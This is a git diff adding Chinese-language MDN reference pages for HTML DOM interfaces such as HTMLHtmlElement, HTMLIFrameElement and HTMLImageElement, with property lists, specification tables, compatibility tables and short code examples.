{{SpecName('DOM2 HTML', 'html.html#ID-77253168', 'HTMLHeadElement')}}{{Spec2('DOM2 HTML')}}相对于 {{SpecName("DOM1")}}没有修改。
{{SpecName('DOM1', 'level-one-html.html#ID-77253168', 'HTMLHeadElement')}}{{Spec2('DOM1')}}最初定义。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
profile{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} 7.0
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
profile{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} 7.0
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/htmlhtmlelement/index.html b/files/zh-cn/web/api/htmlhtmlelement/index.html new file mode 100644 index 0000000000..41657f89c0 --- /dev/null +++ b/files/zh-cn/web/api/htmlhtmlelement/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLHtmlElement +slug: Web/API/HTMLHtmlElement +tags: + - 参考 + - 接口 +translation_of: Web/API/HTMLHtmlElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLHtmlElement 接口是给定HTML文档的根节点。它继承了 {{domxref("HTMLElement")}} 对象的属性和方法。

+ +

您可以通过读取{{domxref("document.documentElement")}}属性的值来获取文档的 HTMLHtmlElement对象

+ +

{{InheritanceDiagram(600,120)}}

+ +

属性

+ +

继承 {{domxref("HTMLElement")}}的属性。

+ +
+
{{domxref("HTMLHtmlElement.version")}}  {{ obsolete_inline() }}
+
这是一个用于表示管理此文档HTML文档类型定义(DTD)版本的 {{domxref("DOMString")}}。 但此属性不应再使用,因为它不符合要求。请仅忽略它。
+
+ +

方法

+ +

没有明确的方法; 可从父项继承—— {{domxref("HTMLElement")}}。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释 
{{SpecName('HTML WHATWG', "semantics.html#the-html-element", "HTMLHtmlElement")}}{{Spec2('HTML WHATWG')}}实时规范,但自上次快照以来无变化。
{{SpecName('HTML5.1', "semantics.html#the-html-element", "HTMLHtmlElement")}}{{Spec2('HTML5.1')}}自上次快照以来无变化。
{{SpecName('HTML5 W3C', "semantics.html#the-html-element", "HTMLHtmlElement")}}{{Spec2('HTML5 W3C')}}版本元素已被删除,因为它不符合要求。
{{SpecName('DOM2 HTML', 'html.html#ID-33759296', 'HTMLHtmlElement')}}{{Spec2('DOM2 HTML')}}受到 {{SpecName("HTML4.01")}} 元素变化的影响,版本属性现已被废弃。 
{{SpecName('DOM1', 'level-one-html.html#ID-33759296', 'HTMLHtmlElement')}}{{Spec2('DOM1')}}初步定义。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

还可以看看

+ + diff --git a/files/zh-cn/web/api/htmlhtmlelement/version/index.html b/files/zh-cn/web/api/htmlhtmlelement/version/index.html new file mode 100644 index 0000000000..d1477aa1fc --- /dev/null +++ b/files/zh-cn/web/api/htmlhtmlelement/version/index.html @@ -0,0 +1,12 @@ +--- +title: HTMLHtmlElement.version +slug: Web/API/HTMLHtmlElement/version +translation_of: Web/API/HTMLHtmlElement/version +--- +
{{ APIRef("HTML DOM") }}
+ +

概述 

+ +

它返回有关文档的文档类型定义(DTD)的版本信息。 尽管此属性能够被Mozilla识别但此属性的返回值始终是空字符串。

+ +
此属性已被W3C的HTML 4.01技术建议声明弃用,赞成使用DTD来获取文档的版本信息。
diff --git a/files/zh-cn/web/api/htmliframeelement/contentwindow/index.html b/files/zh-cn/web/api/htmliframeelement/contentwindow/index.html new file mode 100644 index 0000000000..828bbdccc5 --- /dev/null +++ b/files/zh-cn/web/api/htmliframeelement/contentwindow/index.html @@ -0,0 +1,42 @@ +--- +title: HTMLIFrameElement.contentWindow +slug: Web/API/HTMLIFrameElement/contentWindow +translation_of: Web/API/HTMLIFrameElement/contentWindow +--- +
{{APIRef("HTML DOM")}}
+ +

contentWindow 属性返回当前HTMLIFrameElementWindow对象. 你可以使用这个Window 对象去访问这个iframe的文档和它内部的DOM. 这个是可读属性, 但是它的属性像全局Window 一样是可以操作的. 

+ +

关于contentWindow的示例

+ +
var x = document.getElementsByTagName("iframe")[0].contentWindow;
+//x = window.frames[0];
+
+x.document.getElementsByTagName("body")[0].style.backgroundColor = "blue";
+// this would turn the 1st iframe in document blue.
+
+ +

 规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-iframe-contentwindow', 'HTMLIFrameElement: contentWindow')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLIFrameElement.contentWindow")}}

diff --git a/files/zh-cn/web/api/htmliframeelement/index.html b/files/zh-cn/web/api/htmliframeelement/index.html new file mode 100644 index 0000000000..7de15e07df --- /dev/null +++ b/files/zh-cn/web/api/htmliframeelement/index.html @@ -0,0 +1,406 @@ +--- +title: HTMLIFrameElement +slug: Web/API/HTMLIFrameElement +translation_of: Web/API/HTMLIFrameElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLIFrameElement 接口提供了除 {{domxref("HTMLElement")}} 之外的一些特殊属性和方法(当然也包括了继承自 {{domxref("HTMLElement")}} 的部分)。这些方法用于操作内联frame元素的布局和展示。

+ +

属性

+ +

继承了来自父类的属性,{{domxref("HTMLElement")}}。

+ +
+
{{domxref("HTMLIFrameElement.align")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} 指定了相对于当前上下文的对齐方式。
+
{{domxref("HTMLIFrameElement.allowfullscreen")}} {{experimental_inline}}
+
一个 {{domxref("Boolean")}} 标识了该内联frame是否愿意被全屏防止。详情请参考 Using full-screen mode 。
+
{{domxref("HTMLIFrameElement.contentDocument")}} {{readonlyInline}}
+
返回一个 {{domxref("Document")}},该内联frame嵌套的浏览上下文中活跃的document对象。
+
{{domxref("HTMLIFrameElement.contentWindow")}} {{readonlyInline}}
+
返回一个 {{domxref("WindowProxy")}},该嵌套的浏览上下文中的window代理。
+
{{domxref("HTMLIFrameElement.frameBorder")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} 标识了是否在frame之间创建边框。
+
{{domxref("HTMLIFrameElement.height")}}
+
一个 {{domxref("DOMString")}} 反映着 {{htmlattrxref("height", "iframe")}} HTML 属性,标识了该frame的高度。
+
{{domxref("HTMLIFrameElement.longDesc")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} 包含着该frame的详细描述的URI。
+
{{domxref("HTMLIFrameElement.marginHeight")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} ,该frame的外边距高度。
+
{{domxref("HTMLIFrameElement.marginWidth")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} ,该frame的外边距宽度。
+
{{domxref("HTMLIFrameElement.name")}}
+
一个 {{domxref("DOMString")}} 反映着 {{htmlattrxref("name", "iframe")}} HTML 属性,包含着用来引用该frame的名字。
+
{{domxref("HTMLIFrameElement.referrerPolicy")}} {{experimental_inline}}
+
一个 {{domxref("DOMString")}} 反映着 {{htmlattrxref("referrerPolicy", "iframe")}} HTML 属性,标识了获取关联资源时要使用哪个referrer。
+
{{domxref("HTMLIFrameElement.sandbox")}}
+
一个 {{domxref("DOMSettableTokenList")}} 反映着 {{htmlattrxref("sandbox", "iframe")}} HTML 属性,指示着对嵌套内容额外的限制。
+
{{domxref("HTMLIFrameElement.scrolling")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}} 指示着浏览器是否应该为该frame提供滚动条。
+
{{domxref("HTMLIFrameElement.src")}}
+
一个 {{domxref("DOMString")}} 反映着 {{htmlattrxref("src", "iframe")}} HTML 属性,包含被嵌入内容的地址。
+
{{domxref("HTMLIFrameElement.srcdoc")}}
+
一个 {{domxref("DOMString")}} ,表示该frame中要显示的内容。
+
{{domxref("HTMLIFrameElement.width")}}
+
一个 {{domxref("DOMString")}} 反映着 {{htmlattrxref("width", "iframe")}} HTML 属性,标识着该frame的宽度。
+
+ +

方法

+ +

继承了来自父类的属性,{{domxref("HTMLElement")}}。

+ +

浏览器 API 方法

+ +

为支持浏览器{{HTMLElement("iframe")}}的需求,HTMLIFrameElement已经扩展了一些新的方法来让{{HTMLElement("iframe")}}有更多的能力。他们并未成为规范(参见 {{anch("Browser compatibility")}})。

+ +

导航方法

+ +

以下导航方法允许通过{{HTMLElement("iframe")}}的浏览历史进行导航。他们对于后退、前进、停止和重新加载按钮的实现而言是非常必须的。

+ +
+
{{domxref("HTMLIFrameElement.reload()")}}
+
重新加载{{HTMLElement("iframe")}}元素内容。
+
{{domxref("HTMLIFrameElement.stop()")}}
+
停止加载{{HTMLElement("iframe")}}元素内容。
+
{{domxref("HTMLIFrameElement.getCanGoBack()")}}
+
指示是否可以后退。
+
{{domxref("HTMLIFrameElement.goBack()")}}
+
改变{{HTMLElement("iframe")}}位置到上一个浏览历史记录的位置。
+
{{domxref("HTMLIFrameElement.getCanGoForward()")}}
+
指示是否可以前进。
+
{{domxref("HTMLIFrameElement.goForward()")}}
+
改变{{HTMLElement("iframe")}}位置到下一个浏览历史记录的位置。
+
+ +

管理方法

+ +

这个方法集管理浏览器{{HTMLElement("iframe")}}所用的资源。它们对于实现分页浏览程序非常有用。

+ +
+
{{domxref("HTMLIFrameElement.executeScript()")}}
+
在浏览器{{HTMLElement("iframe")}}页面加载完成后执行指定的脚本。
+
{{domxref("HTMLIFrameElement.purgeHistory()")}}
+
清理所有与浏览器{{HTMLElement("iframe")}}有关的资源(不包括cookie)。
+
{{domxref("HTMLIFrameElement.setVisible()")}}
+
修改浏览器{{HTMLElement("iframe")}}的可见性。这会影响资源分配和一些函数的资源占用率,如{{domxref("window.requestAnimationFrame","requestAnimationFrame")}}。
+
{{domxref("HTMLIFrameElement.getVisible()")}}
+
指示当前浏览器{{HTMLElement("iframe")}}的可见性。
+
{{domxref("HTMLIFrameElement.setActive()")}}
+
设置当前{{HTMLElement("iframe")}}为活动frame,对进程管理器如何划分优先级有影响。
+
{{domxref("HTMLIFrameElement.getActive()")}}
+
指示当前浏览器{{htmlelement("iframe")}}是否为当前活动的frame。
+
{{domxref("HTMLIFrameElement.setInputMethodActive()")}}
+
设置当前浏览器{{HTMLElement("iframe")}}是活动的输入法编辑器窗口而其他不是。当一个顶层应用希望激活一个窗口作为输入法编辑器(如键盘)时有用。
+
{{domxref("HTMLIFrameElement.setNfcFocus()")}}
+
Firefox 操作系统 NFC API 的一部分,扩展了Browser API,这个集合设置浏览器{{htmlelement("iframe")}}是否可以接收一个NFC事件。
+
+ +

音频相关方法

+ +

以下方法允许直接控制浏览器元素的声音。

+ +
+
{{domxref("HTMLIFrameElement.getVolume()")}}
+
获取浏览器{{HTMLElement("iframe")}}当前音量。
+
{{domxref("HTMLIFrameElement.setVolume()")}}
+
设置浏览器{{HTMLElement("iframe")}}当前音量。
+
{{domxref("HTMLIFrameElement.mute()")}}
+
浏览器{{HTMLElement("iframe")}}播放的所有音频静音。
+
{{domxref("HTMLIFrameElement.unmute()")}}
+
取消浏览器{{HTMLElement("iframe")}}播放所有音频的静音。
+
{{domxref("HTMLIFrameElement.getMuted()")}}
+
指示当前浏览器{{HTMLElement("iframe")}}当前是否被静音。
+
+ +

Search methods

+ +

New methods are provided to allow programmatic searches of browser {{HTMLElement("iframe")}}s to be carried out.

+ +
+
{{domxref("HTMLIFrameElement.findAll()")}}
+
Searches for a string in a browser {{HTMLElement("iframe")}}'s content; if found, the first instance of the string relative to the caret position will be highlighted.
+
{{domxref("HTMLIFrameElement.findNext()")}}
+
Highlights the next or previous instance of a search result after a {{domxref("HTMLIFrameElement.findAll","findAll()")}} search has been carried out.
+
{{domxref("HTMLIFrameElement.clearMatch()")}}
+
Clears any content highlighted by {{domxref("HTMLIFrameElement.findAll","findAll()")}} or {{domxref("HTMLIFrameElement.findNext","findNext()")}}.
+
+ + + +

In order to manage the browser {{HTMLElement("iframe")}}'s content, many new events were added (see below). The following methods are used to deal with those events:

+ +
+
The {{HTMLElement("iframe")}} gains support for the methods of the {{domxref("EventTarget")}} interface
+
{{domxref("EventTarget.addEventListener","addEventListener()")}}, {{domxref("EventTarget.removeEventListener","removeEventListener()")}}, and {{domxref("EventTarget.dispatchEvent","dispatchEvent()")}}.
+
{{domxref("HTMLIFrameElement.sendMouseEvent()")}}
+
Sends a {{domxref("MouseEvent")}} to the {{HTMLElement("iframe")}}'s content.
+
{{domxref("HTMLIFrameElement.sendTouchEvent()")}}
+
Sends a {{domxref("TouchEvent")}} to the {{HTMLElement("iframe")}}'s content. Note that this method is available for touch enabled devices only.
+
{{domxref("HTMLIFrameElement.addNextPaintListener()")}}
+
Defines a handler to listen for the next {{event("MozAfterPaint")}} event in the browser {{HTMLElement("iframe")}}.
+
{{domxref("HTMLIFrameElement.removeNextPaintListener()")}}
+
Removes a handler previously set with {{domxref("HTMLIFrameElement.addNextPaintListener","addNextPaintListener()")}}.
+
+ +

Utility methods

+ +

Last, there are some utility methods, useful for apps that host a browser {{HTMLElement("iframe")}}.

+ +
+
{{domxref("HTMLIFrameElement.download()")}}
+
Downloads a specified URL, storing it at the specified filename/path.
+
{{domxref("HTMLIFrameElement.getContentDimensions()")}}
+
Retrieves the X and Y dimensions of the content window.
+
{{domxref("HTMLIFrameElement.getManifest()")}}
+
Retrieves the manifest of an app loaded in the browser {{HTMLElement("iframe")}} and returns it as JSON.
+
{{domxref("HTMLIFrameElement.getScreenshot()")}}
+
Takes a screenshot of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful to get thumbnails of tabs in a tabbed browser app.
+
{{domxref("HTMLIFrameElement.getStructuredData()")}}
+
Retrieves any structured microdata (and hCard and hCalendar microformat data) contained in the HTML loaded in the browser {{HTMLElement("iframe")}} and returns it as JSON.
+
{{domxref("HTMLIFrameElement.zoom()")}}
+
Changes the zoom factor of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful for zooming in/out on non-touch-enabled devices.
+
+ +
+
+ + + + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrerPolicy property.
{{SpecName('HTML WHATWG', "the-iframe-element.html#the-iframe-element", "HTMLIFrameElement")}}{{Spec2('HTML WHATWG')}}The following property has been added: allowFullscreen.
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-iframe-element", "HTMLIFrameElement")}}{{Spec2('HTML5 W3C')}}The following properties are now obsolete: scrolling, marginWidth, marginHeight, longDesc, frameBorder, and align.
+ The following properties have been added: srcdoc, sandbox, and contentWindow.
{{SpecName('DOM2 HTML', 'html.html#ID-50708718', 'HTMLIFrameElement')}}{{Spec2('DOM2 HTML')}}The contentDocument property has been added.
{{SpecName('DOM1', 'level-one-html.html#ID-50708718', 'HTMLIFrameElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
srcdoc4{{CompatGeckoDesktop(25)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
sandbox4{{CompatGeckoDesktop(17)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
contentDocument{{CompatVersionUnknown}}{{CompatVersionUnknown}}8.0[3]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
contentWindow{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
allowFullScreen {{experimental_inline}}17 {{property_prefix("-webkit")}}[4]{{CompatGeckoDesktop(9.0)}} {{property_prefix("-moz")}}
+ {{CompatGeckoDesktop(18.0)}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
referrerPolicy {{experimental_inline}}{{CompatNo}}{{compatGeckoDesktop(50)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Browser API methods{{CompatNo}}{{CompatNo}}[5]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}1.0.1{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
srcdoc4{{CompatGeckoMobile(25)}}1.1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
sandbox4{{CompatGeckoMobile(17)}}[1]1.0.1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
seamless {{experimental_inline}}4{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
contentDocument{{CompatVersionUnknown}}{{CompatVersionUnknown}}1.0.1{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
contentWindow{{CompatUnknown}}{{CompatUnknown}}1.0.1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
allowFullScreen {{experimental_inline}}17 {{property_prefix("-webkit")}}[4]{{CompatGeckoMobile(9.0)}} {{property_prefix("-moz")}}
+ {{CompatGeckoMobile(18.0)}}
1.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
referrerPolicy {{experimental_inline}}{{CompatNo}}{{compatGeckoMobile(50)}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
Browser API methods{{CompatNo}}{{CompatNo}}1.0.1[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/htmlimageelement/complete/index.html b/files/zh-cn/web/api/htmlimageelement/complete/index.html new file mode 100644 index 0000000000..cff31934c9 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/complete/index.html @@ -0,0 +1,90 @@ +--- +title: HTMLImageElement.complete +slug: Web/API/HTMLImageElement/complete +translation_of: Web/API/HTMLImageElement/complete +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLImageElement")}} 的只读属性 complete 是一个布尔值, 表示图片是否完全加载完成。

+ +

语法

+ +
let doneLoading = htmlImageElement.complete;
+ +

+ +

当图片完全加载完成时值为 true ; 否则,值为 false

+ +

以下任意一条为true则认为图片完全加载完成:

+ + + +

It's worth noting that due to the image potentially being received asynchronously, the value of complete may change while your script is running.

+ +

Example

+ +

Consider a photo library app that provides the ability to open images into a lightbox mode for improved viewing as well as editing of the image. These photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the background.

+ +

But imagine that you have other code that needs to only run when the image has completed loading, such as a command that performs red-eye removal on the image in the lightbox. While ideally this command wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case.

+ +

So the fixRedEyeCommand() function, which is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work. This is demonstrated in the code below.

+ +
let lightboxElem = document.querySelector("#lightbox");
+let lightboxImgElem = lightboxElem.querySelector("img");
+let lightboxControlsElem = lightboxElem.querySelector(".toolbar");
+
+async function loadImage(url, elem) {
+  return new Promise((resolve, reject) => {
+    elem.onload = () => resolve(elem);
+    elem.onerror = reject;
+    elem.src = src;
+  });
+}
+
+async function lightBox(url) {
+  lightboxElem.style.display = "block";
+  await loadImage("https://somesite.net/huge-image.jpg", lightboxImgElem);
+  lightboxControlsElem.disabled = false;
+}
+
+/* ... */
+
+function fixRedEyeCommand() {
+  if (lightboxElem.style.display === "block" && lightboxImgElem.complete) {
+    fixRedEye(lightboxImgElem);
+  } else {
+    /* can't start doing this until the image is fully loaded */
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-img-complete', 'HTMLImageElement.complete')}}{{Spec2('HTML DOM')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLImageElement.complete")}}

diff --git a/files/zh-cn/web/api/htmlimageelement/decode/index.html b/files/zh-cn/web/api/htmlimageelement/decode/index.html new file mode 100644 index 0000000000..b04b67a431 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/decode/index.html @@ -0,0 +1,68 @@ +--- +title: HTMLImageElement.decode() +slug: Web/API/HTMLImageElement/decode +translation_of: Web/API/HTMLImageElement/decode +--- +
+

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLImageElement")}} 接口的 decode() 方法返回一个当图片解码后可安全用于附加到 DOM 上时 resolves 的 {{jsxref("Promise")}} 对象。 这可用于在将图片附加到一个 DOM 中的元素(或作为一个新元素加入 DOM 中)之前启动加载,所以在将图像添加到 DOM 时可以立即渲染图像。这反过来,防止了将图像加入DOM后图像的加载造成下一帧渲染的延迟。

+
+ +

语法

+ +
var promise = HTMLImageElement.decode();
+ +

参数

+ +

无.

+ +

返回

+ +

一个一旦数据准备好可供使用时resolve的promise对象.

+ +

异常

+ +

{{domxref('DOMException')}} 表示解码图像时出错。

+ +

使用提示

+ +

一个 decode() 的潜在用例:当在加载一个非常大的图片时(例如,一个在线相册),你可以在加载初期提供一个低分辨率的缩略图,之后通过实例化一个 {{domxref("HTMLImageElement")}} 将该图像替换为一个全分辨率图像,设置其 source 为全分辨率图像URL,使用 decode() 获取一旦全分辨率图像准备好被使用时 resolved 的 promise 对象。这时你可以使用当前可用的全分辨率图像替换之前的低分辨率图像。

+ +

例子

+ +

以下例子展示了如何使用 decode() 方法来控制一个图像插入 DOM 的时机。若不使用 {{domxref('Promise')}} 返回方法,你将在图像的 {{event("load")}} 事件处理函数中将图像加入 DOM 中,通过 {{event("error")}} 事件处理函数处理错误。

+ +
const img = new Image();
+img.src = 'nebula.jpg';
+img.decode()
+.then(() => {
+  document.body.appendChild(img);
+})
+.catch((encodingError) => {
+  // Do something with the error.
+})
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#dom-img-decode','decode()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLImageElement.decode")}}

diff --git a/files/zh-cn/web/api/htmlimageelement/decoding/index.html b/files/zh-cn/web/api/htmlimageelement/decoding/index.html new file mode 100644 index 0000000000..2bffa6f664 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/decoding/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLImageElement.decoding +slug: Web/API/HTMLImageElement/decoding +translation_of: Web/API/HTMLImageElement/decoding +--- +
{{APIRef}}
+ +
{{domxref("HTMLImageElement")}} 接口的 decoding 属性用于告诉浏览器使用何种方式解析图像数据。
+ +

Syntax

+ +
refStr = imgElem.decoding;
+imgElem.decoding = refStr;
+ +

Values

+ +

使用 {{domxref("DOMString")}} 表示解码方式. 可使用以下值:

+ +
+
+
    +
  • sync: 同步解码图像,保证与其他内容一起显示。
  • +
  • async: 异步解码图像,加快显示其他内容。
  • +
  • auto: 默认模式,表示不偏好解码模式。由浏览器决定哪种方式更适合用户。
  • +
+
+
+ +

Usage notes

+ +

decoding 属性使您可以控制是否允许浏览器尝试异步加载图像。如果这样做会引起问题,您可指定值为 sync 禁止异步加载。异步加载对 {{HTMLElement("img")}} 元素很有用,对屏幕外的图像对象可能会更有用。

+ +

Examples

+ +
var img = new Image();
+img.decoding = 'sync';
+img.src = 'img/logo.png';
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'embedded-content.html#dom-img-decoding', 'decoding')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLImageElement.decoding")}}

diff --git a/files/zh-cn/web/api/htmlimageelement/image/index.html b/files/zh-cn/web/api/htmlimageelement/image/index.html new file mode 100644 index 0000000000..e4e73b99f9 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/image/index.html @@ -0,0 +1,111 @@ +--- +title: Image() +slug: Web/API/HTMLImageElement/Image +tags: + - 图片对象 +translation_of: Web/API/HTMLImageElement/Image +--- +
{{ APIRef("HTML DOM") }}
+ +

Image()函数将会创建一个新的{{domxref("HTMLImageElement")}}实例。

+ +

它的功能等价于 {{domxref("Document.createElement()", "document.createElement('img')")}}

+ +

语法

+ +
Image(width, height)
+ +

参数

+ +
+
width
+
图片的宽度 (即 {{htmlattrxref("width", "img")}} 属性).
+
height
+
图片的高度 (即 {{htmlattrxref("height", "img")}} 属性).
+
+ +

示例

+ +
var myImage = new Image(100, 200);
+myImage.src = 'picture.jpg';
+document.body.appendChild(myImage);
+ +
上面的代码相当于在 {{htmlelement("body")}}中定义了下面的HTML:
+ +
<img width="100" height="200" src="picture.jpg">
+
+ +
+

Note: 无论构造函数中指定的大小是多少,都会加载整个位图. 如果在构造时指定了尺寸信息,那么将会反应在实例的 {{domxref("HTMLImageElement.width")}} 和 {{domxref("HTMLImageElement.height")}} 属性上。图像自身的CSS像素值将会反应在{{domxref("HTMLImageElement.naturalWidth")}} 和 {{domxref("HTMLImageElement.naturalHeight")}}属性。如果没有指定值,那么两个属性的值相同

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "embedded-content.html#dom-image", "Image()")}}{{spec2("HTML WHATWG")}} 
+ +

兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
支持情况{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
支持情况{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}{{compatversionunknown}}
+
diff --git a/files/zh-cn/web/api/htmlimageelement/index.html b/files/zh-cn/web/api/htmlimageelement/index.html new file mode 100644 index 0000000000..19ae9dd455 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/index.html @@ -0,0 +1,170 @@ +--- +title: HTMLImageElement +slug: Web/API/HTMLImageElement +translation_of: Web/API/HTMLImageElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLImageElement 接口提供了特别的属性和方法 (在常规的 {{domxref("HTMLElement")}}之外,它也能通过继承使用)来操纵 {{HTMLElement("img")}} 元素的布局和图像。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Constructor

+ +
+
{{domxref("HTMLImageElement.Image()", "Image()")}}
+
Image() 构造器,带有两个可选的参数,分别表示资源的宽度和高度,创建了一个尚未被插入 DOM 树中的 HTMLImageElement 实例。When called without parameters, new Image() is equivalent to calling {{DOMxRef("Document.createElement()", 'document.createElement("img")')}}.
+
+ +

属性

+ +

从它的父元素 {{domxref("HTMLElement")}} 继承的属性。

+ +
+
{{domxref("HTMLImageElement.alt")}}
+
一个 {{domxref("DOMString")}} 表示 HTML 属性 {{htmlattrxref("alt", "img")}},表明图像的后备描述内容,会在图像无法加载时显示。
+
{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}
+
返回一个 {{domxref("Boolean")}} 如果浏览器已经下载完毕,并且图像是受支持的图片类型、解码的过程中没有发生错误,则返回 true。That means this value is also true if the image has no {{domxref("HTMLImageElement.src", "src")}} value indicating an image to load.
+
{{domxref("HTMLImageElement.crossOrigin")}}
+
一个 {{domxref("DOMString")}} 表示这个img元素的 CORS 设置。参考 CORS settings attributes。This may be null if CORS is not used.
+
{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}
+
返回一个 {{domxref("DOMString")}}  表示加载当前显示的图像的URL。
+ 这可能会改变,因为图像是调整,由于不断变化的条件,由任何 media queries 的地方。
+
{{domxref("HTMLImageElement.decoding")}}
+
